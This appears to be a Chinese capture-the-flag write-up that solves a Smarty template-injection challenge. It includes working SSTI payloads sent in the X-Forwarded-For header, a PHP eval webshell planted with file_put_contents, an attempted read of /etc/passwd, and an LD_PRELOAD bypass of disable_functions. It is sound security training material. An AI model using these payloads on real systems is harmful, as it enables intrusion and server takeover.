攻防世界 web高手进阶区 9分题 smarty

前言

继续ctf的旅程
开始攻防世界web高手进阶区的9分题
本文是smarty的writeup

解题过程

smarty是php模板引擎
这题应该是一个SSTI

进入界面

在这里插入图片描述
根据题目和页面最下方build with smarty
确认是用smarty模板
那就有两种可能的注入点:

XFF client IP

尝试
将XFF头改为{7*7}

在这里插入图片描述
发现current IP的值变为了49
可以确定这里存在SSTI

尝试注入

{$smarty.version}

在这里插入图片描述
得到smarty版本3.1.30

{phpinfo()}

在这里插入图片描述
得到php版本7.2.24

注入方法:

常规{} {php}{/php}标签,已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用 {literal}标签,在php5中可以用 静态方法,在在3.1.30的Smarty中被删除 {if}标签

总结一下就是在本题中只有常规{}{if}标签可用

先试试常规

{system('ls')}

在这里插入图片描述
没有显示
但之前phpinfo是正常显示的
就迷惑了

试试{if}标签

{if phpinfo()}{/if}

在这里插入图片描述
phpinfo显示

{if system('ls')}{/if}

在这里插入图片描述
ls指令又失败了

不死心试试其他注入方法

{php}phpinfo();{/php}

在这里插入图片描述

{self::getStreamVariable("file:///etc/passwd")}

在这里插入图片描述
都意料之内的直接失败

这说明注入方法还是常规{}{if}标签
但是system可能被干掉了
去看眼phpinfo里面的信息
在这里插入图片描述

在这里插入图片描述
发现system果然被禁了
且可访问的地址是/var/www/html/
这感觉是可以上传文件进行突破
但一时没有思路
查了好一会儿资料
。。。。。。
这里参考无需sendmail:巧用LD_PRELOAD突破disable_functions
一句话木马

{if file_put_contents("/var/www/html/shell.php","<?php @eval($_POST['helter']);?>")}{/if}

在这里插入图片描述

蚁剑连接
在这里插入图片描述
在这里插入图片描述
根据文章
上传bypass_disablefunc.php和bypass_disablefunc_x64.so
具体代码在作者的github上
在这里插入图片描述
url访问

/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so 

在这里插入图片描述
成功得到flag

结语

smarty的模板注入没啥问题,了解下就懂了
后面巧用LD_PRELOAD突破disable_functions有点妙
也查了好久
学到了

知识点

smarty模板注入 巧用LD_PRELOAD突破disable_functions

几篇参考

Smarty SSTI [BJDCTF2020]The mystery of ip(xff,smarty模板注入) PHP的模板注入(Smarty模板) 无需sendmail:巧用LD_PRELOAD突破disable_functions
栏目
728_90 cn stocks